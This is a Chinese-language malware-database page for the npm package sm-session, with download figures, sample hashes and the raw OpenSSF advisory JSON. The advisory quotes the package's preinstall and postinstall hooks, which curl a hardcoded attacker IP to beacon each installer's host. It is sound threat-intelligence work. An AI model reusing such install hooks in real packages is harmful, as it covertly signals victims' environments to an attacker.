目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%
← 返回恶意软件包
npm active

sm-session

MAL-2026-14400
2026-08-24 16:28:17
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in sm-session (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
352
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
永久样本归档NAS
版本状态大小SHA-256获取方式
99.0.0unavailable
99.0.1archived0.4 KBbcc6d5bd7935f9de96ff0ad9775c8340d94d123438b34542856125114e70cb22VIP 下载
样本保存在内网 NAS 隔离区,不公开镜像地址;已开通会员可直接从平台下载。同步任务不会解压或执行样本。
受影响版本
EcosystemPackageVersion
npmsm-session*
npmsm-session99.0.0
npmsm-session99.0.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-14400","published":"2026-08-23T19:00:27Z","modified":"2026-08-24T16:28:17.246474441Z","aliases":["GHSA-2f9h-c49j-w22r"],"summary":"Malicious code in sm-session (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24)\npackage.json declares preinstall and postinstall lifecycle scripts that each run `curl -s http://16.192.173.5/sm-session/pre` and `curl -s http://16.192.173.5/sm-session/post` on `npm install`. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.\n\n## Source: ghsa-malware (4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\n## Source: ossf-package-analysis (dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405)\nThe OpenSSF Package Analysis project identified 'sm-session' @ 99.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"sm-session","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["99.0.1","99.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"6ddf1620a54e8e36b49e80d0f397d7bffa2066c37c2dc4de92f42af0b764539a","tlsh":"95d0236c3c14a7b3b9c46bb52578c316b5e01d0711615d05d7560046175de75252fb06"}],"package_integrity":[{"filename":"sm-session-99.0.1.tgz","hashes":{"sha1":"d99d85a9f2d5207161449d5ed8ca6fc9dfa38c54","sha512_sri":"sha512-zA1x0jshO+VaIQ1syLqIEqjcYzB0fsv8/6YPgsgRqa/rhKdI/0+ZQoJ/r0cVYsCIzFQcq/mCeG9Vkm30BIUM0w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-session/v/99.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-session/v/99.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2f9h-c49j-w22r"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018604","import_time":"2026-08-24T05:20:13.90180051Z","modified_time":"2026-08-24T05:06:41Z","sha256":"1934167b06b4d9241c11bb22d15955d215c6879e004d270ed35b386b1a0442f6","source":"amazon-inspector","versions":["99.0.1"]},{"id":"IN-MAL-2026-018614","import_time":"2026-08-24T05:20:14.867174665Z","modified_time":"2026-08-24T05:08:06Z","sha256":"ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24","source":"amazon-inspector","versions":["99.0.0"]},{"import_time":"2026-08-24T05:47:55.120825863Z","modified_time":"2026-08-23T19:00:27Z","sha256":"dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405","source":"ossf-package-analysis","versions":["99.0.1"]},{"id":"GHSA-2f9h-c49j-w22r","import_time":"2026-08-24T16:26:16.717170571Z","modified_time":"2026-08-24T15:42:58Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0